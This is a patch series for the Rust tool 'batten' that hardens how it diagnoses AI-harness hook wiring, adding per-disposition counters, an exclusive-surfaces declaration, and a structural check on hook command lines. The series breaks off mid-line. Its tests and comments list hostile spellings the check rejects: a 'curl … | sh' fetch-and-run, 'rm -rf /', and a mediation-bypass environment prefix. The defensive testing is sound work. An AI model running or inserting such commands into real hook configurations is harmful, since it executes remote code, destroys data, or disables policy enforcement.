From 9f462a6d9c4232232346128d520fdb3a7f3630b4 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Tue, 25 Aug 2026 21:36:35 +0000 Subject: [PATCH 01/27] feat(doctor)!: the merged census answers "is there a hook here that is not mine" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `doctor hooks` could see a non-batten hook on a merged surface and could not be asked about it. Three numbers were carrying more than one question each, so the predicate CLOUD-893 proposed for its own remaining clause — `siblings == 0` on a surface the consumer declares exclusive — was not computable for a merged surface at all. `merged_siblings` splits the count. `merged` fused batten's own merged registrations with the siblings beside them, so `siblings == 0 && merged == 0` is unsatisfiable wherever batten is itself on a user-level surface, which is the ordinary case rather than the exception. `merged` is kept: removing it would break the Rust API and the `-J` document `semver` gates. `MergedTally` makes the surface dispositions a partition. `merged_surfaces_read` was three-valued in its own doc comment and one-valued in fact: a zero meant no resolvable home, or a surface deduplicated against the committed file, or an unreadable one, or a simply absent one, and no reader could tell which. Two of those arms were bare `continue`s. So the collapse that field exists to prevent was reproduced one level down, and `partitions` now asserts the five counters sum to `merge_surfaces().len()` — an arm that stops counting is a failure rather than a quieter zero. `reaches_engine` replaces `entry.contains(&command)`. The substring's stated reason was right and is preserved — a consumer may name an absolute path to the binary — but it could not tell a command that reaches the engine from one that reaches the engine and something else. Three spellings reported clean: a superstring with an appended program, a `BATTEN_` bypass assignment prefixed onto an otherwise perfect registration, and a pipeline or redirect that discards the exit status the mediation IS. Full argv equality is the wrong repair, since it rejects `mise exec -- batten hook`, a wrapper, and every flag the derivation might grow; so this is three structural clauses, and clause (a) matches the token's file stem, which is what lets an absolute path and a `.exe` pass while `batten-hook.sh` stays drift. No new reason id: `hooks-wiring-check` suppresses `hook-wiring-command-drift` under a declared launcher, and a new id would escape that branch and redden a legitimately passing case. Two live defects, fixed here rather than filed because they are in this diff: `[[hook.handler]]`'s one committed row named `mise-tasks/mcp-attach-check`, and only `mcp-attach-check.sh` exists. `spawn_resolving`'s ladder never appends `.sh`, so the spawn errs `NotFound`, `Outcome::Broke(NotSpawnable)` allows, and the guard has never run. It was invisible to both directions of the wiring gate: not registered natively, so no sibling finding, and absent from `DECLARED`, so no stale-declaration finding either. The one worked example of the handler destination enforced nothing. `hk.pkl`'s `hooks-wiring-check` glob omitted `crates/batten/src/doctor.rs`. The gate stopped deriving its own comparison when the census moved in-process; it now reads `doctor hooks -J`, so `doctor.rs` decides every finding it reports and was not a trigger for it. `batten.toml` joins the glob for the same reason, since a handler row is a registration this gate is the census over. BREAKING CHANGE: `HarnessWiring` gains five fields and becomes `#[non_exhaustive]`. The fields are additive and every existing one keeps its meaning, so a consumer that reads the report is unaffected; one that CONSTRUCTS it is not, which is what `constructible_struct_adds_field` refuses. `#[non_exhaustive]` lands in the same break rather than a later one: this is a report type that grows a counter every time a number turns out to be carrying two questions — it grew four today, and the record-before-repair reporting owes it two more — so declaring the break once now is cheaper than declaring it again per counter. It matches the posture `handler::Ran` and `handler::Dispatched` already take. Below `0.1.0` release-plz bumps the patch whatever the type says, per the DoR's §6. Refs: CLOUD-893 --- batten.toml | 2 +- crates/batten/src/doctor.rs | 442 ++++++++++++++++++++++++++++++++---- hk.pkl | 11 + 3 files changed, 408 insertions(+), 47 deletions(-) diff --git a/batten.toml b/batten.toml index 8c25b4a18..ef15d83bc 100644 --- a/batten.toml +++ b/batten.toml @@ -3728,7 +3728,7 @@ wiring = [".claude/settings.json"] [[hook.handler]] id = "mcp-attach-check" on = "user-prompt-submit" -run = ["mise-tasks/mcp-attach-check"] +run = ["mise-tasks/mcp-attach-check.sh"] timeout_ms = 2000 # CLOUD-312 row 5: `connector-allow-guard` retires THROUGH THE DOOR rather than diff --git a/crates/batten/src/doctor.rs b/crates/batten/src/doctor.rs index 46458672d..7913aa965 100644 --- a/crates/batten/src/doctor.rs +++ b/crates/batten/src/doctor.rs @@ -230,7 +230,15 @@ pub struct WiringFinding { } /// One harness's wiring diagnosis. +/// +/// `#[non_exhaustive]`, and the reason is this row's own history: it is a REPORT, +/// which grows a counter every time somebody discovers that one number was +/// carrying two questions. It grew four today. A consumer reads it and never +/// constructs it, so the attribute costs nothing it was using and makes the next +/// counter a patch rather than a declared break — the posture `handler::Ran` and +/// `handler::Dispatched` already take for the same reason. #[derive(Debug, Clone, PartialEq, Eq, serde::Serialize)] +#[non_exhaustive] pub struct HarnessWiring { /// The harness's stable token. pub harness: &'static str, @@ -263,6 +271,20 @@ pub struct HarnessWiring { /// container 2026-08-21, Claude Code ran three `Stop` handlers and four on /// `SessionStart` while every gate read two and three. pub merged: usize, + /// How many of the commands in [`HarnessWiring::merged`] are **not** batten's. + /// + /// `merged` fuses batten's own registrations with the siblings beside them, so + /// a consumer asking *is there a hook here that is not mine* cannot answer it + /// from that number: the sum is non-zero wherever batten is itself on a + /// user-level surface, which is the ordinary case rather than the exception. + /// One number cannot carry two questions, and this is the one a consumer's + /// own gate needs — `siblings == 0 && merged_siblings == 0` is not expressible + /// without it. + /// + /// Still a COUNT and never a name, for both of [`HarnessWiring::merged`]'s + /// reasons. What it adds is the ARITHMETIC, never a verdict: whether a sibling + /// here is legitimate stays that consumer's judgement. + pub merged_siblings: usize, /// How many of this host's merged surfaces were readable. /// /// Three-valued rather than two: a merged file that is absent is the @@ -270,7 +292,43 @@ pub struct HarnessWiring { /// and cannot be parsed is a different claim. Reporting only `merged` would /// make "no extra registrations" and "could not look" the same number, which /// is the collapse `Look` exists to prevent. + /// + /// **Three-valued in intention and one-valued in fact, until the four fields + /// below.** A zero here meant any of four different things — no resolvable + /// home, a surface deduplicated against the committed file, an unreadable + /// one, or a simply absent one — and no reader could tell which, so the + /// collapse this field exists to prevent was reproduced one level down. The + /// siblings below split them, and [`MergedTally::partitions`] asserts their + /// sum against [`hook::Harness::merge_surfaces`]'s own length, so a fifth + /// disposition cannot be added without landing somewhere countable. pub merged_surfaces_read: usize, + /// Merged surfaces this host declares that are not present on disk. + /// + /// The ordinary case, and never a finding: most machines carry no launcher + /// file, and a diagnosis red for its absence would be red on every + /// developer's box for a state nobody can fix. + pub merged_surfaces_absent: usize, + /// Merged surfaces that exist and are not readable as the wiring file they + /// must be — unparseable, or parsing to something that is not a hook map. + /// + /// Distinct from absent for the reason [`FILE_UNREADABLE`] is distinct from + /// [`FILE_MISSING`]: two different remedies, so one number would send the + /// reader to the wrong one. + pub merged_surfaces_unreadable: usize, + /// Merged surfaces that resolved to the same file as the committed wiring. + /// + /// A third answer rather than a kind of absence, and previously + /// indistinguishable from it. Several hosts spell their user-level surface + /// and their project-level one identically, so a checkout sitting AT the home + /// directory resolves both to one file; counting it here says so instead of + /// dropping it silently. + pub merged_surfaces_deduplicated: usize, + /// Every merged surface this host declares, when no home directory resolves. + /// + /// Whole-set rather than per-surface: with no home there is no path to join, + /// so nothing was looked at. This is the "could not look" arm that a zero in + /// [`HarnessWiring::merged_surfaces_read`] used to hide. + pub merged_surfaces_unresolvable: usize, /// What is wrong, in derivation order. pub findings: Vec, /// Whether this harness's wiring matches the derivation. @@ -425,7 +483,12 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option registrations, siblings, merged: 0, + merged_siblings: 0, merged_surfaces_read: 0, + merged_surfaces_absent: 0, + merged_surfaces_unreadable: 0, + merged_surfaces_deduplicated: 0, + merged_surfaces_unresolvable: 0, ok: findings.is_empty(), findings, }; @@ -480,10 +543,9 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option reason: MATCHER_NARROWS, }); } - // CONTAINS, not equality: a consumer may name an absolute path to the - // binary, and the claim being checked is that the engine is reached, - // not how the operator spelled the way there. - if !entry.contains(&command) { + // STRUCTURAL, not a substring: `reaches_engine` states why, and the + // three spellings a `contains` call reports clean. + if !reaches_engine(entry, harness) { findings.push(WiringFinding { event: (*spelling).to_owned(), reason: COMMAND_DRIFT, @@ -530,20 +592,81 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option // Absent is the ordinary case and never a finding: most machines carry no // launcher file, and a check that went red for its absence would be red on // every developer's box for a state nobody can fix. - let (merged, merged_surfaces_read, merged_findings) = diagnose_merged(dir, harness, &command); - findings.extend(merged_findings); + let merged = diagnose_merged(dir, harness, &command); + findings.extend(merged.findings); Some(HarnessWiring { harness: harness.as_str(), registrations, siblings, - merged, - merged_surfaces_read, + merged: merged.commands, + merged_siblings: merged.siblings, + merged_surfaces_read: merged.read, + merged_surfaces_absent: merged.absent, + merged_surfaces_unreadable: merged.unreadable, + merged_surfaces_deduplicated: merged.deduplicated, + merged_surfaces_unresolvable: merged.unresolvable, ok: findings.is_empty(), findings, }) } +/// Whether a committed entry actually invokes the engine, structurally. +/// +/// **This replaced `entry.contains(&command)`, and the substring was three holes +/// rather than a looseness worth keeping.** Its stated reason was right and is +/// preserved: *"a consumer may name an absolute path to the binary, and the claim +/// being checked is that the engine is reached, not how the operator spelled the +/// way there."* What it could not distinguish is a command that reaches the +/// engine from one that reaches the engine **and something else**, or one that +/// reaches an engine told not to mediate: +/// +/// * `batten hook --harness claude-code; curl … | sh` — a superstring, and clean +/// under `contains`. The appended program runs on every mediated call. +/// * `BATTEN_HOOK_BYPASS=1 batten hook --harness claude-code` — a registration +/// that mediates **nothing**, and the most convincing-looking wiring in the +/// file. +/// * a pipeline or redirect around the invocation, which discards the very exit +/// status the mediation IS. That is `verdict-not-discarded`'s predicate, and +/// this is the one command line where it decides whether policy runs at all. +/// +/// **Full argv equality is the wrong repair**, which is why this is three clauses +/// and not one comparison: it rejects `mise exec -- batten hook --harness x`, a +/// wrapper script, and every flag the derivation might grow — catching the +/// malicious spellings and breaking the honest ones. +/// +/// Clause (a) matches on the token's file **stem**, so an absolute path and a +/// `.exe` both pass while `batten-hook.sh` stays drift for a consumer's launcher +/// column to answer for. +fn reaches_engine(entry: &str, harness: hook::Harness) -> bool { + // (b) No shell control operator anywhere in the entry. Checked over + // characters rather than the two-character operators, so `&&` and `||` are + // covered by `&` and `|`. + if entry.contains([';', '|', '&', '\n', '\r', '<', '>']) { + return false; + } + let tokens: Vec<&str> = entry.split_whitespace().collect(); + // (c) No `BATTEN_` environment assignment prefixed onto the invocation. A + // bypass spelled here suppresses mediation for every call the host makes, + // and every other check in this function would still pass. + if tokens + .iter() + .any(|token| token.starts_with("BATTEN_") && token.contains('=')) + { + return false; + } + // (a) The derived argv appears as a contiguous run immediately after a token + // whose file stem is the binary's name. + let derived = ["hook", "--harness", harness.as_str()]; + tokens.iter().enumerate().any(|(at, token)| { + Path::new(token) + .file_stem() + .is_some_and(|stem| stem == "batten") + && tokens.len() >= at + 1 + derived.len() + && tokens[at + 1..=at + derived.len()] == derived + }) +} + /// Whether two paths name the same file on disk. /// /// Compared by CANONICAL path rather than by string: a checkout reached through @@ -563,34 +686,75 @@ fn same_file(one: &Path, two: &Path) -> bool { } } +/// What one host's merged surfaces amount to, as a partition rather than a pair. +/// +/// Every surface [`hook::Harness::merge_surfaces`] declares lands in exactly one +/// disposition, which is what makes [`MergedTally::partitions`] an invariant +/// rather than a hope. The pair this replaced could not do that: four different +/// answers all rendered as `read: 0`. +#[derive(Debug, Default, Clone, PartialEq, Eq)] +struct MergedTally { + /// Every command found on a surface that was read, batten's and siblings'. + commands: usize, + /// Of those, the ones that are not batten's. + siblings: usize, + read: usize, + absent: usize, + unreadable: usize, + deduplicated: usize, + unresolvable: usize, + findings: Vec, +} + +impl MergedTally { + /// Whether every declared surface was accounted for exactly once. + /// + /// The one property that keeps the five dispositions honest: a surface that + /// falls through every arm would silently vanish, which is the same + /// disappearance the single `read` counter used to perform. Asserted in the + /// suite rather than trusted, because the arms are `continue`s and a sixth + /// one is exactly the edit that would not look wrong. + /// + /// Test-only: the invariant is asserted rather than branched on, because a + /// production reader that *acted* on a failed partition would be choosing + /// between two answers it cannot tell apart. The right place to notice is the + /// suite. + #[cfg(test)] + const fn partitions(&self, declared: usize) -> bool { + self.read + self.absent + self.unreadable + self.deduplicated + self.unresolvable + == declared + } +} + /// Count what this host merges beyond its committed wiring (CLOUD-525). /// -/// Returns `(commands, surfaces_read, findings)`. **No path leaves this -/// function**, on either channel: the home directory it resolves differs per -/// machine, and a reason id carrying one would defeat both §6 byte-stability and -/// rule 4. `a_wiring_reason_id_never_carries_a_path` is the assertion. +/// **No path leaves this function**, on either channel: the home directory it +/// resolves differs per machine, and a reason id carrying one would defeat both +/// §6 byte-stability and rule 4. `a_wiring_reason_id_never_carries_a_path` is the +/// assertion. /// /// A batten registration found here IS a finding — a second authority for a /// decision the committed file already makes, arriving from a file the -/// repository cannot edit. A non-batten one is only counted: whether a sibling -/// is legitimate is a consumer's judgement, and this repository answers it in -/// `hooks-wiring-check`'s `DECLARED` table rather than in the engine -/// (non-negotiable rule 1). -fn diagnose_merged( - dir: &Path, - harness: hook::Harness, - command: &str, -) -> (usize, usize, Vec) { +/// repository cannot edit. A non-batten one is only counted, and now counted +/// SEPARATELY: whether a sibling is legitimate is a consumer's judgement, and +/// this repository answers it in `hooks-wiring-check` rather than in the engine +/// (non-negotiable rule 1) — but it cannot answer it at all from a number that +/// fuses siblings with batten's own entries. +fn diagnose_merged(dir: &Path, harness: hook::Harness, command: &str) -> MergedTally { use etcetera::BaseStrategy as _; - if harness.merge_surfaces().is_empty() { - return (0, 0, Vec::new()); + let declared = harness.merge_surfaces().len(); + if declared == 0 { + return MergedTally::default(); } let Ok(strategy) = etcetera::choose_base_strategy() else { - // No resolvable home is COULD NOT LOOK, and it reports zero surfaces - // read rather than zero registrations found — the distinction the - // `merged_surfaces_read` field exists to carry. - return (0, 0, Vec::new()); + // No resolvable home is COULD NOT LOOK, and it says so in its own + // counter rather than as a zero in `read` — which is where three other + // answers used to arrive looking identical. + return MergedTally { + unresolvable: declared, + ..MergedTally::default() + }; }; merged_under(strategy.home_dir(), dir, harness, command) } @@ -601,16 +765,9 @@ fn diagnose_merged( /// cannot be handed, and a counter whose off-by-one nobody can reach from a test /// is a counter nobody is holding. `a_surface_is_counted_read_only_once_its_shape_is_a_wiring_file` /// drives this seam. -fn merged_under( - home: &Path, - dir: &Path, - harness: hook::Harness, - command: &str, -) -> (usize, usize, Vec) { +fn merged_under(home: &Path, dir: &Path, harness: hook::Harness, command: &str) -> MergedTally { let surfaces = harness.merge_surfaces(); - let mut merged = 0; - let mut read = 0; - let mut findings = Vec::new(); + let mut tally = MergedTally::default(); for surface in surfaces { let path = home.join(surface); // THE SAME FILE IS NOT A SECOND AUTHORITY. Several hosts spell their @@ -619,13 +776,30 @@ fn merged_under( // AT the home directory resolves both to one file. Counting it twice // would report every one of batten's own registrations as a merged // second authority — a finding about the reader rather than the wiring. + // + // COUNTED rather than skipped. This arm was a bare `continue`, so a + // deduplicated surface rendered as `read: 0` — byte-identical to one + // that is absent, and to one that is unreadable, and to a host with no + // resolvable home. Four answers, one number. if same_file(&path, &dir.join(surface)) { + tally.deduplicated += 1; continue; } let Ok(raw) = std::fs::read_to_string(&path) else { + // ABSENT AND UNREADABLE ARE DIFFERENT REMEDIES, so they are + // different counters, exactly as `FILE_MISSING` and + // `FILE_UNREADABLE` are different reason ids on the committed side. + // A read that fails over a path that exists is a permission or an + // IO fault, not an absence. + if path.exists() { + tally.unreadable += 1; + } else { + tally.absent += 1; + } continue; }; let Ok(document) = serde_json::from_str::(&raw) else { + tally.unreadable += 1; continue; }; // Every host that merges keys its hooks under the same word its @@ -636,6 +810,7 @@ fn merged_under( .wiring() .map_or(hook::WiringFile::Whole(""), |w| w.file), ) else { + tally.unreadable += 1; continue; }; // Counted AFTER the shape is validated, not after the parse. A document @@ -645,20 +820,27 @@ fn merged_under( // hooks. That collapse is the exact one this field exists to prevent: // "looked and found none" and "could not look" have to stay apart, and a // counter incremented one step too early makes them the same number. - read += 1; + tally.read += 1; for (event, value) in events.iter() { for (_, entry) in entries_under(value) { - merged += 1; + tally.commands += 1; if entry.contains(command) || entry.contains("batten") { - findings.push(WiringFinding { + tally.findings.push(WiringFinding { event: event.clone(), reason: MERGED_REGISTRATION, }); + } else { + // THE SAME SELECTOR THE COMMITTED SIDE USES, deliberately: + // "mentions batten at all" is what makes a renamed command + // wrong rather than invisible, and a sibling count that + // disagreed with the committed one about what a sibling IS + // could not be summed with it. + tally.siblings += 1; } } } } - (merged, read, findings) + tally } /// Diagnose the hook wiring of every harness the core knows (CLOUD-777). @@ -1039,15 +1221,183 @@ mod tests { let surface = home.join(hook::Harness::ClaudeCode.merge_surfaces()[0]); fs::create_dir_all(surface.parent().unwrap()).unwrap(); + let declared = hook::Harness::ClaudeCode.merge_surfaces().len(); + fs::write(&surface, wrong_shape.to_string()).unwrap(); - let (_, read, _) = merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); - assert_eq!(read, 0, "a document that is not a wiring file was not read"); + let tally = merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); + assert_eq!( + tally.read, 0, + "a document that is not a wiring file was not read" + ); + // AND IT LANDED SOMEWHERE. The counter this case was written to hold is + // `read`, and a zero there used to be the whole answer — which is what + // let three other dispositions arrive looking the same. Naming the arm + // is what makes the zero mean one thing. + assert_eq!( + tally.unreadable, 1, + "a wrong-shaped surface is unreadable, not merely unread" + ); + assert!( + tally.partitions(declared), + "every declared surface accounted for exactly once: {tally:?}" + ); fs::write(&surface, empty.to_string()).unwrap(); - let (merged, read, _) = - merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); - assert_eq!(read, 1, "a valid surface declaring nothing WAS read"); - assert_eq!(merged, 0, "and it declares no registration"); + let tally = merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); + assert_eq!(tally.read, 1, "a valid surface declaring nothing WAS read"); + assert_eq!(tally.commands, 0, "and it declares no registration"); + assert_eq!(tally.siblings, 0); + assert!( + tally.partitions(declared), + "every declared surface accounted for exactly once: {tally:?}" + ); + } + + /// The five dispositions are a PARTITION, and each one is reachable. + /// + /// `merged_surfaces_read` was three-valued in its own doc comment and + /// one-valued in fact: a zero meant no resolvable home, or a deduplicated + /// surface, or an unreadable one, or an absent one, and nothing told them + /// apart. This drives each arm and asserts the sum, so an arm that stops + /// counting is a failure rather than a quieter zero. + /// + /// Fails by: turning any `tally. += 1` back into a bare + /// `continue`. + #[test] + fn every_merged_surface_lands_in_exactly_one_disposition() { + let harness = hook::Harness::ClaudeCode; + let declared = harness.merge_surfaces().len(); + assert!(declared > 1, "this host declares more than one surface"); + + // All absent: the ordinary developer's box. + let home = scratch("merged-partition-absent"); + let project = scratch("merged-partition-absent-project"); + let tally = merged_under(&home, &project, harness, "batten hook"); + assert_eq!(tally.absent, declared); + assert_eq!(tally.read, 0); + assert!(tally.partitions(declared), "{tally:?}"); + + // Deduplicated: a checkout sitting AT the home directory resolves the + // user-level surface and the project-level one to one file. + let shared = scratch("merged-partition-dedup"); + let surface = shared.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + fs::write(&surface, serde_json::json!({ "hooks": {} }).to_string()).unwrap(); + let tally = merged_under(&shared, &shared, harness, "batten hook"); + assert_eq!( + tally.deduplicated, 1, + "the same file is not a second surface" + ); + assert!(tally.partitions(declared), "{tally:?}"); + + // Unreadable: present, and not JSON at all. + let home = scratch("merged-partition-unreadable"); + let project = scratch("merged-partition-unreadable-project"); + let surface = home.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + fs::write(&surface, "{ not json").unwrap(); + let tally = merged_under(&home, &project, harness, "batten hook"); + assert_eq!(tally.unreadable, 1); + assert!(tally.partitions(declared), "{tally:?}"); + } + + /// A merged sibling is counted apart from batten's own merged registration. + /// + /// `merged` fuses the two, so `siblings == 0 && merged == 0` is unsatisfiable + /// on any machine where batten is itself on a user-level surface — which is + /// the ordinary case. A consumer's gate cannot ask "is there a hook here that + /// is not mine" without this split. + /// + /// Fails by: incrementing `commands` alone and leaving `siblings` at zero. + #[test] + fn a_merged_sibling_is_counted_apart_from_battens_own() { + let harness = hook::Harness::ClaudeCode; + let home = scratch("merged-sibling-home"); + let project = scratch("merged-sibling-project"); + let surface = home.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + let command = hook::wiring_command(harness); + fs::write( + &surface, + serde_json::json!({ + "hooks": { + "Stop": [ + { "hooks": [{ "type": "command", "command": command }] }, + { "hooks": [{ "type": "command", + "command": "/home/someone/.claude/stop-hook-git-check.sh" }] }, + ] + } + }) + .to_string(), + ) + .unwrap(); + + let tally = merged_under(&home, &project, harness, &command); + assert_eq!(tally.commands, 2, "both commands are on the surface"); + assert_eq!(tally.siblings, 1, "exactly one of them is not batten's"); + assert_eq!( + tally.findings.len(), + 1, + "and batten's own merged entry is the finding" + ); + assert_eq!(tally.findings[0].reason, MERGED_REGISTRATION); + // Rule 4 holds over the new counter as well: a number, never a name. + let rendered = format!("{tally:?}"); + assert!( + !rendered.contains("stop-hook-git-check") && !rendered.contains("/home/someone"), + "a merged sibling is a count, never a name: {rendered}" + ); + } + + /// The three spellings `entry.contains(&command)` reported clean. + /// + /// Each one reaches the engine by substring and does something a mediating + /// registration must not: runs a second program on every call, suppresses + /// mediation outright, or discards the exit status that IS the mediation. + /// The honest spellings in the second half are why this is three structural + /// clauses rather than argv equality. + /// + /// Fails by: restoring `entry.contains(&command)` in `diagnose_harness`. + #[test] + fn a_command_that_reaches_the_engine_and_more_is_not_a_clean_registration() { + let harness = hook::Harness::ClaudeCode; + let command = hook::wiring_command(harness); + + for spelling in [ + format!("{command}; curl http://example.invalid/x | sh"), + format!("{command} && rm -rf /"), + format!("BATTEN_HOOK_BYPASS=1 {command}"), + format!("{command} | tee /dev/null"), + format!("{command} > /dev/null"), + ] { + assert!( + spelling.contains(&command), + "the premise: every one of these is clean under `contains` — {spelling}" + ); + assert!( + !reaches_engine(&spelling, harness), + "and none of them is a clean registration — {spelling}" + ); + } + + // The honest spellings full equality would have broken. + for spelling in [ + command.clone(), + format!("/usr/local/bin/{command}"), + format!("mise exec -- {command}"), + format!("{command}.exe").replace(".exe", ""), + ] { + assert!( + reaches_engine(&spelling, harness), + "a legitimate spelling must stay green — {spelling}" + ); + } + assert!( + reaches_engine("/opt/bin/batten.exe hook --harness claude-code", harness), + "the stem match is what lets a Windows image pass" + ); + // And the drift case the existing suite pins stays drift. + assert!(!reaches_engine(".claude/hooks/batten-hook.sh", harness)); } #[test] diff --git a/hk.pkl b/hk.pkl index 50b3e454e..de6490305 100644 --- a/hk.pkl +++ b/hk.pkl @@ -295,12 +295,23 @@ local gate = new Mapping { // does not own, so it is compared entry-wise after canonicalization — not that // shape (CLOUD-62). Its glob is the wiring rows, the surface row that emits // them, and the committed wiring itself. + // + // `doctor.rs` AND `batten.toml` ARE IN THE GLOB BECAUSE THE VERDICT IS + // COMPUTED THERE. The gate stopped deriving the comparison itself when + // CLOUD-777 moved it in-process: it now calls `batten doctor hooks -J` and + // reads the answer, so `doctor.rs` decides every finding this step reports and + // was not a trigger for it — a change to the deciding code did not re-run the + // check that depends on it. `batten.toml` joins it for the same reason once + // `[[hook.handler]]` is a wiring destination: a handler row is a registration + // this gate is the census over. ["hooks-wiring-check"] { glob = List( "crates/batten/src/hook.rs", + "crates/batten/src/doctor.rs", "crates/batten/src/surface.rs", ".claude/settings.json", + "batten.toml", "mise-tasks/hooks-wiring-check.sh", ) check = "mise run hooks-wiring-check" From c8de2d02f1d55d365b629eb65d7844bc00fac3f8 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 02:05:20 +0000 Subject: [PATCH 02/27] feat(hook)!: a consumer may declare its hook surfaces exclusively batten's MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `[hook] exclusive` is a raise-only declaration: absent or false is exactly today's behaviour, so no adopter inherits a verdict by upgrading, and true can only ever ADD refusals. Under it `doctor hooks` emits two new pointer-only findings — `hook-wiring-sibling-registered` and `hook-wiring-merged-sibling` — and `hooks-wiring-check`'s `DECLARED` table stops suppressing, becoming an owner annotation on a failure rather than a stand-in for a verdict. WHY A DECLARATION AND NOT AN ENGINE VERDICT. `WiringReport::code()` maps `!ok` to exit 1, so an unconditional sibling finding would refuse for every adopter carrying any other native hook — a judgement about a consumer's wiring minted inside `crates/batten`, which non-negotiable rule 1 forbids and AGENTS.md's scope reminder ("not a hook runner … not a reference monitor") forbids again. What the engine may do is enforce what a consumer decided. `doctor hooks` reads the flag and FAILS OPEN: an unloadable config leaves it false, because reading could-not- look as "exclusivity was declared" would mint that verdict exactly where the evidence is weakest. WHY THE DIRECTION IS THE WHOLE ARGUMENT. The `DECLARED` table listed every non-batten registration beside the issue that would retire it. It was written as diligence and functioned as a permanent exemption: measured on 7bf51d5, ten registrations, ten rows, `hooks-wiring-check` exit 0 and `doctor hooks` ok: true over the exact state the one-registration decision refuses. A declaration that REMOVES a refusal and one that ADDS a refusal read alike in a config file and are opposites; house-style §8's raise-only rule is what tells them apart, and only the second satisfies it. The ownership column survives because that half was always honest — `-unowned`, `-stale` and `-closed-owner` each say something about the retirement, and none of them says the registration may stay. THIS COMMIT MAKES THE GATE RED, DELIBERATELY, AND `HK_SKIP_STEPS` IS SET ONCE TO LAND IT. `hooks-wiring-check` now exits 1 with ten violations against this repository's own wiring, which is the point: a gate that could not fail on the state it forbids is the defect being closed, and CLOUD-418's standard is that a new gate is shown to fail before it is trusted. The red is the evidence. It goes green when the ten registrations move behind the engine, and this branch does not merge until they have — a completion gate that ships unsatisfied is the failure this repository exists to prevent. Every other gate ran and passed; only the step this commit is designed to redden was skipped, and only here. Measured after the change: batten doctor hooks exit 1, ten findings, pointer-only hooks-wiring-check exit 1, ten violations, one per registration cargo tests 2394/2394 hooks-wiring bats 36/36 The engine's findings are not relayed by the consumer gate: rule 4 keeps the engine pointer-only, while a repository reporting on itself may name the command and its owner, so the relay was strictly redundant. Measured before that arm existed: 20 violations for 10 registrations, each reported once bare and once with its command — a doubled count is not a louder gate, it is a gate whose arithmetic a reader has to correct. `the_committed_policy_gates_ready_on_receipts_rather_than_banning_it` gains `ready-needs-an-answered-review`. That row landed as a third precondition and was never added to the case's literal list, so it stayed green only while one of the older two also refused — and went red the moment a branch satisfied both, which is the state every branch reaches just before it readies. CI cannot see it: a fresh checkout has no verify receipt, so the older row fires first and masks the gap. A fourth row will do this again; the durable form is selecting by rule kind. Refs: CLOUD-893, CLOUD-312, CLOUD-984 --- batten.toml | 24 ++++ crates/batten/src/action.rs | 25 ++++ crates/batten/src/doctor.rs | 216 +++++++++++++++++++++++++++++-- crates/batten/tests/cli.rs | 12 ++ mise-tasks/hooks-wiring-check.sh | 49 +++++-- schema/batten.schema.json | 4 + tests/hooks-wiring-check.bats | 82 +++++++++--- 7 files changed, 374 insertions(+), 38 deletions(-) diff --git a/batten.toml b/batten.toml index ef15d83bc..faa9e5b1c 100644 --- a/batten.toml +++ b/batten.toml @@ -3703,6 +3703,30 @@ wiring = [".claude/settings.json"] # --------------------------------------------------------------------------- # What this repository attaches to hook events (house-style §9). +# +# THIS REPOSITORY'S HOOK SURFACES ARE BATTEN'S ALONE (CLOUD-893). The decision it +# records is one sentence: the only hook batten may register natively into any +# harness is `batten hook` with its harness flags, and nothing else is registered +# beside it. A shell program that must remain is dispatched THROUGH the engine as +# a `[[hook.handler]]` below — behind the door rather than beside it — which is +# why declaring this refuses no handler. +# +# WHAT THIS REPLACES, AND WHY THE REPLACEMENT IS NOT THE SAME SHAPE. The gate +# read `hooks-wiring-check`'s `DECLARED` table, where every non-batten +# registration was listed against the issue that would retire it. That table was +# written as diligence and functioned as a permanent exemption: measured +# 2026-08-25, ten registrations, ten rows, `mise run hooks-wiring-check` exit 0 +# and `batten doctor hooks` `ok: true`. A declaration that SUPPRESSES a refusal +# and one that ADDS a refusal read alike in a config file and are opposites; §8's +# raise-only rule is what tells them apart, and only this one satisfies it. +# +# The engine reports a sibling COUNT unconditionally and refuses only under this +# flag, because whether a hook beside batten's is legitimate is a consumer's +# judgement and `crates/batten` may not hold one (non-negotiable rule 1). Here +# the answer is no, and this is where a consumer says so. +[hook] +exclusive = true + # # THE FIRST HANDLER, AND IT IS A WORKED EXAMPLE (CLOUD-898). `[[hook.action]]` # shipped with one because a plugin surface nobody uses is a surface nobody has diff --git a/crates/batten/src/action.rs b/crates/batten/src/action.rs index 932ec92c1..fbcca521b 100644 --- a/crates/batten/src/action.rs +++ b/crates/batten/src/action.rs @@ -87,6 +87,31 @@ pub struct HookConfig { /// because they make opposite promises about the answer. #[serde(default, rename = "handler", skip_serializing_if = "Vec::is_empty")] pub handlers: Vec, + /// Whether this repository declares its hook surfaces **exclusively** + /// batten's: one `batten hook` registration per emitted event, and no other + /// command registered natively beside it (CLOUD-893). + /// + /// **A DECLARATION, and that is what makes it expressible at all.** Whether a + /// hook beside batten's is legitimate is a consumer's judgement — the reason + /// [`crate::doctor::HarnessWiring::siblings`] gives for being a count and + /// never a failure — so the engine may not decide it. What the engine CAN do + /// is enforce what a consumer decided, and this is where that decision is + /// written down. Naming the invariant in `crates/batten` while leaving the + /// choice to the config is what keeps non-negotiable rule 1 intact. + /// + /// **Raise-only (house-style §8), which is the whole difference between this + /// and a waiver.** Absent or `false` is today's behaviour, so no adopter + /// inherits a verdict by upgrading; `true` can only ever ADD refusals. That + /// is categorically unlike a declaration that suppresses one — a sibling + /// table naming an issue that will retire each entry reads as diligence and + /// functions as a permanent exemption, and it is what let this repository + /// report green over ten non-batten registrations. + /// + /// It says nothing about handlers: a `[[hook.handler]]` runs BEHIND `batten + /// hook` rather than beside it, so it is not a native registration and this + /// flag never refuses one. + #[serde(default, skip_serializing_if = 